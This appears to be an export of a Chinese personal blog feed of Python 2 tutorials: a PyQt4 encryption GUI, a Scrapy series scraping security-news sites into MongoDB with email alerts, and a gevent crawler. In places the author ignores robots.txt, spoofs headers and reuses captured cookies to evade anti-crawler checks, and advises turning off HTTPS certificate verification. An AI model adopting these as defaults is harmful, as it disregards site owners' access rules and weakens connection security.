            QtGui.QMessageBox.about(self, u'提醒', u"成功生成公、私钥文件！")  # 设置提醒消息框
        elif Ctype == 2:
            public = str(self.lineEdit.text())  # 获取line的文本
            filepath = str(self.lineEdit_2.text())  # 获取line2的文本
            Encryptiong(public=public, filepath=filepath).encryption()
            QtGui.QMessageBox.about(self, u'提醒', u"完成加密！")
        elif Ctype == 3:
            private = str(self.lineEdit.text())
            filepath = str(self.lineEdit_2.text())
            Encryptiong(private=private,decrypt=filepath).decrypted()
            QtGui.QMessageBox.about(self, u'提醒', u"完成解密！")
    except:
        QtGui.QMessageBox.about(self, u'警告', u"输入有误,请重新输入！")

　回到Ui类的setupUi函数，设置按钮单击执行工作函数。

self.pushButton.clicked.connect(lambda : self.work(1))  # 单击调用work函数
self.pushButton_2.clicked.connect(lambda : self.work(2))
self.pushButton_3.clicked.connect(lambda : self.work(3))

　现在已经成功让Encryotiong脚本的功能通过GUI界面来执行、实现。最后通过pyinstaller进行打包成exe。

pyinstaller -F -w -i ico.ico --upx-dir D:\Code\Python27\upx394w Encryptiong.py

总结

　在编写使用pyinstaller、PyQt4生成GUI界面的exe时，遇到几个问题，在此记录一下。

pyinstaller -i加载图标的时候，图标需要是多种尺寸的图标。要不然某些情况是无法显示的;
pyinstaller -w生成无终端窗口需要脚本有GUI界面;
PyQt4的Button执行函数，需要使用lambda生成匿名函数;
PyQt4的QMessageBox进行弹框提示需要将字符串转成Unicode编码，要不然会乱码。

完整代码

　完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**Code**。

]]> Code Python2 Python2 Python2-Scrapy学习(一) /archives/84973573.html 以前写爬虫都是自己使用requests、bs4等库手工编写，最近想学学scrapy看看这个爬虫神器有多强大。
[ scrapy crawl.png

Install scrapy

使用pip安装scrapy即可。
sudo pip install scrapy
scrapy version.png
scrapy的命令常用的有：startproject、shell、crawl等。

Scrapy runspider

使用scrapy runspider直接运行爬虫脚本。相对项目而言方便快捷。这里我直接使用官方文档的示例。

import scrapy
	
class QuotesSpider(scrapy.Spider):
    name = "quotes"
    start_urls = [
        'http://quotes.toscrape.com/tag/humor/',
    ]

    def parse(self, response):
        for quote in response.css('div.quote'):
            yield {
                'text': quote.css('span.text::text').extract_first(),
                'author': quote.xpath('span/small/text()').extract_first(),
            }

        next_page = response.css('li.next a::attr("href")').extract_first()
        if next_page is not None:
            yield response.follow(next_page, self.parse)

[ scrapy runsprider.png 使用-o参数可以导出结果。 scrapy runsprider freebuf.py -o result.json [ scrapy runsprider -o.png

scrapy startproject

使用scrapy startproject创建爬虫项目。

Config setting

使用scrapy新建爬虫项目，这里我测试站点选择freebuf，建立一个爬虫项目。
scrapy startproject freebuf
进入freebuf目录，创建基础爬虫。
scrapy genspider freebufSprider "freebuf.com"
之后目录结构如下图：
[ scrapy start project tree.png
进入freebuf目录下，查看settings.py配置文件。下面列出几个需要修改的配置。

ROBOTSTXT_OBEY = False(不遵循Robots.txt规则)
USER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'(修改User-Agent)
DEFAULT_REQUEST_HEADERS = {'Referer': 'http://www.freebuf.com/'}(设置默认请求头)

scrapy crawl

一开始对freebuf进行爬虫的时候，发现响应包返回不正确。
scrapy no referer.png

初步猜测freebuf站点有反爬虫的策略(猜测主要有四点：User-Agent、Cookie、Referer、请求间隔)。为了方便查看请求包，对请求设置HTTP代理。
修改settings.py文件中的DOWNOLOAD_MIDDLEAWARES

DOWNLOADER_MIDDLEWARES = {
	    'scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware': 110,
	    'freebuf.middlewares.ProxyMiddleware': 100,
	}
# 在middlewares.py中增加一个class。
	class ProxyMiddleware(object):
    overwrite process request
    def process_request(self, request, spider):
      # Set the location of the proxy
      request.meta['proxy'] = "http://127.0.0.1:8080"

如上配置，请求包会通过代理发送到本地8080端口。这里，我使用BurpSuite进行代理拦截。
[ scrapy proxy.png
freebufSprider.py文件进行编写，设置cookie。freebuf的cookie最主要的有两个：acw_sc、acw_tc。

# -*- coding: utf-8 -*-

import scrapy
from scrapy import Request

class FreebufspriderSpider(scrapy.Spider):
    name = 'freebufSprider'
    allowed_domains = ['freebuf.com']
    start_urls = ['http://www.freebuf.com']
    cookie = {
        'acw_sc__': '5b7fb0aee4ffebd067ed819b701014fb3451fcbe',
        'acw_tc': '5b7fbdbc6a0b102973a7c8a7b9ecbf0304865342',
    }

    def start_requests(self):
        yield Request(self.start_urls[0], callback=self.parse, cookies=self.cookie)

    def parse(self, response):
        title = response.css('title::text').extract_first()
        self.log(u'编码:%s' % response.encoding)
        self.log(u'标题:%s' % title)

在项目目录下执行
sudo scrapy crawl freebufSprider
[ scrapy success freebuf.png scrapy crawl.png

scrapy shell

也可以使用scrapy的shell进行测试，通过-s USER_AGENT进行请求头设置（不知道为什么使用shell命令，不带cookie也会得到正确的回显）。
sudo scrapy shell -s USER_AGENT='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36' 'http://www.freebuf.com
[ scrapy shell.png

总结

针对不同站点写爬虫的时候，首先需要对站点有所了解：robots.txt、反爬虫机制等。

Scarpy爬虫项目相对自己编写的爬虫，整体感强，作为一整个项目来进行编写。以前的那种写法，经常一个脚本就要包含一大堆东西，到最后整体很乱，不利于后期代码维护；
用Scrapy或者Requests&bs4都需要对目标站点需要有所了解；
单个脚本的scrapy提供了导出等API接口，相对自己写的更方便。

]]> Code Python2 Python2 scrapy 爬虫 Python2-Scrapy学习(二) /archives/2ba6ae11.html 继续学习scrapy,这次学习如何进行数据爬取。
scrapy -o result.json.png

在Python2-Scrapy学习(一)大致了解了scrapy的基础使用方式，接下来开始使用scrapy结合xpath爬取所需的信息。

freebuf资讯爬取

假定需要爬取的是freebuf最新的资讯，通过Chrome的Elements可以看到资讯的信息在class=news_inner news-list的div中。

使用scrapy shell命令进行调试。

scrapy shell -s USER_AGENT='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36' 'http://www.freebuf.com

使用xpath选择器来筛选需要的数据。

最后使用scrapy crawl freebufSprider -o result.json可将结果保存至result.json中。

总结

爬虫的步骤：访问站点、解析数据、获取数据。
scrapy支出css、xpath，大家看哪个顺手就用那个好了。

完整代码

完整代码已经上传到GitHub。如果有兴趣，不妨移步到Github上一观！**Code**。

]]> Code Python2 Python2 scrapy 爬虫 Python2-Scrapy学习(三) /archives/80b032ee.html 继续学习scrapy,这次学习如何将数据进行存储。
mongo数据.png

在Python2-Scrapy学习(二)学习如何通过xpath获取数据，接下来通过MongDB or MySQL将数据进行保存。

scrapy数据存储

freebuf搜索信息爬取

上一章中爬取的数据为freebuf首页的资讯，这次爬取freebuf搜索所产生的数据。Ps：上一章通过HTTP进行访问，这次直接通过HTTPS就不需要考虑COOKIE的问题。
由于搜索返回的是json，因此不需要使用xpath，直接使用json进行解析即可获取数据。这里就直接贴上爬取代码：

# -*- coding: utf-8 -*-

import scrapy
import time
import json
import pymongo

from freebuf.items import FreebufItem


class FreebufSpider(scrapy.Spider):
    name = 'freebuf'
    allowed_domains = ['freebuf.com']
    custom_settings = {
        'ITEM_PIPELINES': {
            'freebuf.pipelines.MongodbPipeline': 300,
        }
    }

    def start_requests(self):
        urls = [
            u'https://search.freebuf.com/search/find/?year=0&score=0&articleType=0&origin=0&tabType=1&content=攻击&page=1',
        ]
        for url in urls:
            yield scrapy.Request(url=url, callback=self.parse)

    def parse(self, response):
        item = FreebufItem()
        data = json.loads(response.body_as_unicode())
        if data["data"]["total"] != u'0':
            page = int(response.url[response.url.find('page=') + 5:]) + 1
            next_page = response.url[:response.url.find('page=') + 5] + str(page)
            for i in data["data"]["list"]:
                if i["time"] == time.strftime("%Y-%m-%d").decode('utf-8'):
                    item['source'] = 'freebuf'
                    item['title'] = i["title"]
                    item['url'] = i['url']
                    item['content'] = i['content']
                    item['time'] = i['time']
                    item['author'] = i['name']
                else:
                    next_page = None
                    continue
        yield item
        if next_page is not None:
            next_page = response.urljoin(next_page)
            yield scrapy.Request(next_page, callback=self.parse)
        self.log("Freebuf sprider:%s" % (response.url))

custom_settings用于爬虫自定义设置，该优先级大于项目设置。这里设置使用pipelines.py文件中MongodbPipeline类对数据进行处理，优先级300（数字越小，优先级越高）。

数据处理

在piplines.py中我写了两个类：MongodbPipeline、MysqlPipeline，分别存储进MongoDB、MySQL。其中MongoDB已经测试，可完美进行存储；MySQL还未进行测试。

# -*- coding: utf-8 -*-

# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html

import pymongo
import pymysql

from scrapy import log
from scrapy.conf import settings
from twisted.enterprise import adbapi


class MongodbPipeline(object):
    def __init__(self):
        self.mongo_host = settings["MONGODB_HOST"]
        self.mongo_port = settings["MONGODB_PORT"]
        self.mongo_db = settings["MONGODB_DBNAME"]

    def open_spider(self, spider):
        self.client = pymongo.MongoClient(host=self.mongo_host, port=self.mongo_port)
        self.db = self.client[self.mongo_db]

    def close_spider(self, spider):
        self.client.close()
		        
    def process_item(self, item, spider):
        info = dict(item)
        self.db[item['source']].insert_one(info)
        return item
	
class MysqlPipeline(object):
    def __init__(self):
        dbparms = dict(
            host = settings['MYSQL_HOST'],
            port = settings['MYSQL_PORT'],
            dbname = settings['MYSQL_DBNAME'],
            user = settings['MYSQL_USER'],
            passwd = settings['MYSQL_PASSWORD'],
            charset = 'utf8',
            cursorclass = pymysql.cursors.DictCursor,
            use_unicode = True,
        )
        self.dbpool = adbapi.ConnectionPool("pymysql", **dbparms)

    def process_item(self, item, spider):
            query = self.dbpool.runInteraction(self.do_insert, item, spider)
            log.msg("MySQL connect")
            query.addErrback(self.handle_error, item, spider)
            query.addBoth(lambda _: item)
            return query
    
    def handle_error(self, failure, item, spider):
        print failure

    def do_insert(self, cursor, item):
        cursor.execute("insert into freebuf (title, url, content, time, author, source) values(%s, %s, %s, %s, %s, %s)",
                        item['title'], item['url'], item['content'], item['time'], item['author'], item['source'])

数据库配置

在项目settings.py文件需要定义数据库host、port、username、password等，直接在最后面加上配置信息即可。

# MongDB Config
MONGODB_HOST = 'localhost'
MONGODB_PORT = 27017
MONGODB_DBNAME = 'freebuf'

# MySQL Config
# MYSQL_HOST = 'localhost'
# MYSQL_PORT = 3306
# MYSQL_DBNAME = 'freebuf'
# MYSQL_USER = 'root'
# MYSQL_PASSWORD = 'root'

总结

项目、爬虫本身都可以进行配置，爬虫本身所配置的优先级大于项目。优先级：Command line options (most precedence)> Settings per-spider> Project settings module> Default settings per-command> Default global settings (less precedence)；
通过response.urljoin可将需要爬取的url添加至待爬取池，只要解析规则正确就可以将所需要的页面不断加入待爬取池；
scrapy函数大部分都可以通过callback进行回调，yield进行资源控制超级棒；
感觉item.py文件利用的较少，应该还有我不知道的用途。

]]> Code Python2 Python2 scrapy 爬虫 Python-scrapy学习(四) /archives/8c2656f.html scrapy学习到此告一段落，下图为一个项目的框架图。

项目框架图

在Python2-Scrapy学习(三)学习如何将数据进行存储，接下来学习如何使用selenium解析JS、邮件通知

selenium解析JS

在爬取seebug直接请求无法访问到数据页面，发现访问seebug流程为：访问seebug-解析js-赋值cookie字段-再次访问-成功获取数据。

js解析

Connect success

查阅资料得知scrapy可以使用Splash进行JavaScript渲染，但是根据官网信息显示得与docker进行配合。后面想起来可以通过selenium进行解析，但是scrapy-selenium需要python>=3.6。但是，我使用的是2.7，因此，我直接使用selenium进行解析。Ps：在CentOS6下，无法使用Chrome进行。

安装

直接使用pip安装selenium即可，phantomjs已经暂停项目，新版的selenium已经不支持phantomjs。报错信息：UserWarning: Selenium support for PhantomJS has been deprecated, please use headless versions of Chrome or Firefox instead。因此，根据官方文档需要下载相应的浏览器内核（Chrome、Edge、Firefox、Safari）。我下载了Chrome Driver，并将chromedriver文件移动到/usr/local/bin目录下。

pip install selenium

使用middlewares

安装完成之后，我想的是通过scary项目的方式进行调用（例如scrapy-selenium），所以并不会采取直接在爬虫里面selenium的调用。通过阅读scrapy文档发现，可以在middleware.py中将selenium使用封装成类，通过setting.py或者爬虫custom_settings进行调用。

middlewares.py

from selenium import webdriver
from scrapy.http import HtmlResponse
from scrapy.exceptions import IgnoreRequest
from selenium.webdriver.chrome.options import Options


class SeleniumMiddleware(object):
    def __init__(self):
        self.chrome_options = Options()
        self.chrome_options.add_argument('--headless')
        self.chrome_options.add_argument('--disable-gpu')
        self.driver = webdriver.Chrome(chrome_options=self.chrome_options)
        # self.driver = webdriver.Chrome()

    def process_request(self, request, spider):
        self.driver.get(request.url)
        time.sleep(3)
        try:
            body = self.driver.page_source
            return HtmlResponse(self.driver.current_url, body=body, encoding='utf-8', request=request)
        except Exception as e:
            # Timeout on WebDriverWait
            logging.error(e)
            raise IgnoreRequest

seebug.py

import scrapy
import time

from zjyd.items import ZjydItem
from scrapy.utils.project import get_project_settings

settings = get_project_settings()


class SeebugSpider(scrapy.Spider):
    name = 'seebug'
    allowed_domains = ['seebug.org']
    custom_settings = {
        'DOWNLOADER_MIDDLEWARES': {
            'zjyd.pipelines.SeleniumMiddleware': 723,
        },
    }

    def start_requests(self):
        keywords = list(settings['KEYWORDS'])
        for i in keywords:
            yield scrapy.Request(url=('https://www.seebug.org/search/?keywords=%s&category=&page=1' % str(i)), callback=self.parse)

    def parse(self, response):
        item = ZjydItem()
        if response.xpath("//table[@class='table sebug-table table-vul-list']/tbody/tr"):
            page = int(response.url[response.url.find('page=') + 5]) + 1
            next_page = response.url[:response.url.find('page=') + 5] + str(page)
        else:
            next_page = None
        for i in response.xpath("//table[@class='table sebug-table table-vul-list']/tbody/tr"):
            if i.xpath("td[@class='text-center datetime hidden-sm hidden-xs']/text()").extract_first().strip()[:-6] == time.strftime("%Y-%m-%d").decode('utf-8'):
                item['source'] = 'seebug'
                item['title'] = i.xpath("td[@class='vul-title-wrapper']/a[@class='vul-title']/text()").extract_first()
                item['time'] = i.xpath("td[@class='text-center datetime hidden-sm hidden-xs']/text()").extract_first().strip()
                item['url'] = u'https://www.seebug.org' + i.xpath("td[@class='vul-title-wrapper']/a[@class='vul-title']/href").extract_first()
                item['content'] = i.xpath("td[@class='vul-title-wrapper']/a[@class='vul-title']/text()").extract_first()
                item['author'] = u'null'
            else:
                next_page = None
                continue
        if item:
            yield item
        else:
            self.log('%s is none!' % (response.url))
        if next_page is not None:
            next_page = response.urljoin(next_page)
            yield scrapy.Request(next_page, callback=self.parse)
        self.log("seebug sprider:%s" % (response.url))

Or setting.py

DOWNLOADER_MIDDLEWARES = {
   'zjyd.middlewares.ZjydDownloaderMiddleware': 543,
    'scrapy.downloadermiddlewares.retry.RetryMiddleware': 90,
    'scrapy_proxies.RandomProxy': 100,
    'scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware': 110,
}

通过上面的配置就可以将seebug的内容解析出来，并进行数据存储。

项目整合

现在项目上有freebuf、seebug等爬虫，通过scrapy list可以查看项目下一共有多少个爬虫。

scrapy list

爬虫整合

项目下每个爬虫为一个文件，并非所有爬虫都在一个文件、按照类进行划分。所以需要一个脚本，运行所有的爬虫。通过官方文档可以看到提供了API接口的方式运行爬虫。这里我采用将所有爬虫通过process.crawl进行运行。

from scrapy.crawler import CrawlerProcess
# from scrapy import spiderloader
from scrapy.utils.project import get_project_settings

settings = CrawlerProcess(get_project_settings())

def main():
    process = CrawlerProcess(settings)
    process.crawl('freebuf', domain='freebuf.com')
    process.crawl('vulbox', domain='vulbox.com')
    process.crawl('anquanke', domain='anquanke.com')
    process.crawl('bugbank', domain='bugbank.com')
    process.crawl('seebug', domain='seebug.com')
    process.crawl('cnvd', domain='cnvd.org.cn')
    # spider_loader = spiderloader.SpiderLoader.from_settings(settings)
    # spiders = spider_loader.list()
    # classes = [spider_loader.load(name) for name in spiders]
    # for i in classes:
    #     process.crawl(i)
    
    process.start()

通过上述方法就可以运行项目下的freebuf、vulbox等爬虫。

邮件通知

现在爬虫所获的的数据都会存储在MongoDB数据库中，通过读取数据库中当前日期的数据，进行邮件通知即可。

# -*- coding: utf-8 -*-

# import os
import time
import pymongo
import scrapy
import smtplib
from email.header import Header
from email.mime.text import MIMEText
from scrapy.crawler import CrawlerProcess
from scrapy.utils.project import get_project_settings
from scrapy import spiderloader

settings = get_project_settings()


def send_mail():
    mongo_client = pymongo.MongoClient(host=settings["MONGODB_HOST"], port=settings["MONGODB_PORT"])
    mongo_db = mongo_client[settings["MONGODB_DBNAME"]]
    mongo_query = {'time': time.strftime("%Y-%m-%d").decode('utf-8')}
    result = "邮件更新提醒:\n"
    
    spider_loader = spiderloader.SpiderLoader.from_settings(settings)
    spiders = spider_loader.list()
    for i in spiders:
        mongo_col = mongo_db[i]
        if mongo_col.find(mongo_query).sort("ts",pymongo.ASCENDING).count() != 0:
            result += '%s 有更新,请注意查收!\n' % (i)
        else:
            result += '%s无更新!\n' % (i)

    sender = settings["MAIL_SENDER"]
    receivers = settings["MAIL_RECEIVERS"]

    message = MIMEText(result,'plain','utf-8')
    message['From'] = Header("hywell", 'utf-8')
    message['To'] = receivers
    subject = "信息收集爬虫"
    message['Subject'] = Header(subject, 'utf-8')

    smtpObj = smtplib.SMTP() 
    smtpObj.connect(settings["MAIL_HOST"], 25)
    smtpObj.login(settings["MAIL_USER"], settings["MAIL_PASSWORD"]) 
    smtpObj.sendmail(sender, receivers, message.as_string())

    mongo_client.close()

def main():
    process = CrawlerProcess(settings)
    spider_loader = spiderloader.SpiderLoader.from_settings(settings)
    spiders = spider_loader.list()
    classes = [spider_loader.load(name) for name in spiders]
    for i in classes:
        process.crawl(i)

    process.start()
    send_mail()

if __name__ == "__main__":
    main()

总结

python2.7越来越“老旧了”，新的模块很多都已经不支持python2.7，后续还是得开始使用python3进行编程。毕竟，python最主要的就是可以import module；
在进行邮件发送的时候，要注意邮箱服务器的设置，例如：密码是否需要设置为独立密码、发件人信息是否有与账号匹配校验等；
由于Chrome最新版本不支持CentOS6，我通过种种方式安装上了Chrome以及成功运行ChromeDriver，但是在运行时会出现卡在开始连接[urllib3.connectionpool] DEBUG: Starting new HTTP connection (1): 127.0.0.1:1269，后面改用Firefox。

完整代码

完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！Code。

]]> Code Python2 Python2 scrapy 爬虫 Python2-并发爬虫 /archives/426443e5.html 　现在数据就是王道，而爬虫就是获取数据的快速途径之一！

准备

　看标题，咱们就应该知道需要用到Python27。本文通过Python 结合 requests库进行爬取操作，BeautifulSoup4使用lxml进行解析操作，gevent进行并发操作。

Python27

　选择对应的操作系统的Python27进行下载。下载完成进行安装，之后配置环境变量即可。环境变量需要配置两处，一处是Python27的安装目录，一处是Python27安装目录下的Scripts目录。

环境变量配置

　右键【我的电脑】→【属性】，点击【高级系统设置】中的【高级】选项卡中【环境变量】，在【系统变量】窗口中找到【Path】变量。点击【编辑】，加入对应的环境变量（例如D:\Code\Python27、D:\Code\Python27\Scripts）。如果是Win10系统，新建两条即可。如果是Win10等系统，点击编辑之后在后面加入;D:\Code\Python27;D:\Code\Python27\Scripts即可。
环境变量.png

python --version

python --version.png

pip --version

pip --version.png

Requests

　使用pip快捷安装requests。

pip install requests

BeautifulSoup

　使用pip快捷安装BeautifulSoup4。

pip install beautifulsoup4

lxml

　使用pip快捷安装lxml。

pip install lxml

Gevent

　使用pip快捷安装gevent。

pip install gevent

爬取流程

　在准备阶段，咱们已经将“斧柄”、“斧刃”准备好了，到时候把两个组装起来，选一棵树，进行“伐木”工作。
　爬取流程分为：获得url、访问url、解析页面、获取页面url。

入口url

　由于本文只爬取站点中存在的url，并不取特殊数据。因此，入口url可以自定义输入。

entry_url = raw_input('Place enter the entry url:')

请求页面

　请求页面操作通过使用requests库来完成。如果对requests库感兴趣，可以参考官方文档。
　想要使用requests库，需要先导入requests库。这步操作就是将斧柄(Pythnon27)、斧刃(requests)组装起来。

import requests

　接下来就需要使用requests库的get方法。

r = requests.get(entry_url)

解析页面

　通过上面的操作，咱们已经获取了页面的信息。然后就是BeautifulSoup4发挥的时候了。如果对BeautifulSoup4库感兴趣，可以参考官方文档

from bs4 import BeautifulSoup

　本文爬虫只需要获取站点url即可，不需要获取站点特殊数据。因此，获取a标签的href方法的值即可。

soup = BeautifulSoup(r.text, 'lxml')
for i in soup.find('a'):
    get_url = i.get('href')

异步爬取

　异步爬取可以让程序执行更快，时间既是生命。如果对gevent库感兴趣，可以参考官方文档。

队列

　队列(Queue)适用于多线程编程，让数据安全地在生产者与消费者之间进行信息传递。
　让url放在队列数据结构中，可以让队列自动帮我们销毁已经被调用的url。

from gevent.queue import Queue

urlQueue = Queue()

异步工作

　将工作流程制作成函数，调用gevent.spawn形成工作队列。当适当的时候执行。

import gevent

threads=[]
threads.append(gevent.spawn(work, **keyword))
gevent.joinall(threads)

总结

　在编写并发爬虫的时候，遇到了几个问题，在此记录一下。

url请求是http还是https，如果是https的话，需要将requests的verify设置为False;
并发的时候如何判断任务是否已经结束？我是通过判断队列为空并且无待工作的任务，不知道这种判断方式是否可取。有没有好心人告诉我有什么优雅的方式么;
如果对并发量不进行设置的话，有可能导致内存飙高。我通过对线程列表进行设置，当线程列表到100时就运行一次。同求优雅的方式;
href方法里面存在两种情况：包含域名(href=”http://xxx.com/index.html")，不包含域名(href="/index.html");
用户输入与href方法内情况不同。例如用户输入https://www.iassas.com，页面href标签是https://iassas.com（或者两者反一下）。现在就按照用户输入为准;
子域名链接爬取，现在判断逻辑不爬取子域名;
href方法中的url有可能会带有#(跳转对应页面位置)，模拟浏览器是将#后面所有字符不当成url考虑;
url会被url编码，调用urllib.unquote来解码。

完整代码

　完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**Code**。由于Web环境千奇百怪，程序出错在所难免。请体谅！

]]> Code Python2 Python2 爬虫 python3 pip缺失VC++ /archives/f62064af.html 最近使用python3的pip安装scrapy、mysql-python等库出错，需要安装Microsoft Visual C++。网上资料大部分通过源码方式解决，不能一劳永逸解决。这里我从根源解决。

VC++缺失

使用pip install scrapy安装scrapy出现缺失VC++。
pip install scrapy.png
根据报错信息打开VC Build Tools站点
web vc.png
点击红框中的链接，找到Visual Studio 2017 生成工具下载对应文件。
vc build.png
打开下载下来的vs_buildtools程序，勾选Visual C++生成工具，进行安装。
VC++.png
接下来安静等待安装完成。
SDK install.png
install success.png
安装完成之后，再使用pip install scrapy即可成功安装。

]]> Code Python3 Code Python3

背景

系统安装

PVE

iKuai

OenWrt

网络配置

iKuai

PPOE

DHCP

DNS

跨三层应用

DDNS

分流

OpenWrt

PVE

显卡直通

温度监控

前言

Bash

解释器

常用语法

编写思路

脚本编写

启动

杀进程

修改

总结

完整代码

Go

Go安装

Go环境配置

VSCode

VSCode安装

VSCode环境配置

Go插件安装

Debug

总结

Go代码

需求描述

准备

进阶知识

编写思路

总结

完整代码

需求描述

准备

基础知识

编写思路

总结

完整代码

Python 多线程 多进程 协程

GIL——Global Interpreter Lock

多核CPU多线程<单核CPU多线程

Python2.x

Python3.x

GIL历史背景

GIL删除？

多进程

协程

Python源码保护

Pyc

程序流程

静态分析

动态调试

静态分析

Unicode混淆

字节码Base64解码

ZKM14混淆

第二次字节码解码

动态分析

总结

前期准备

测试环境

SQLMap

请求分析

MySQL

SQLServer

Oracle

总结

准备

Python 多线程多进程协程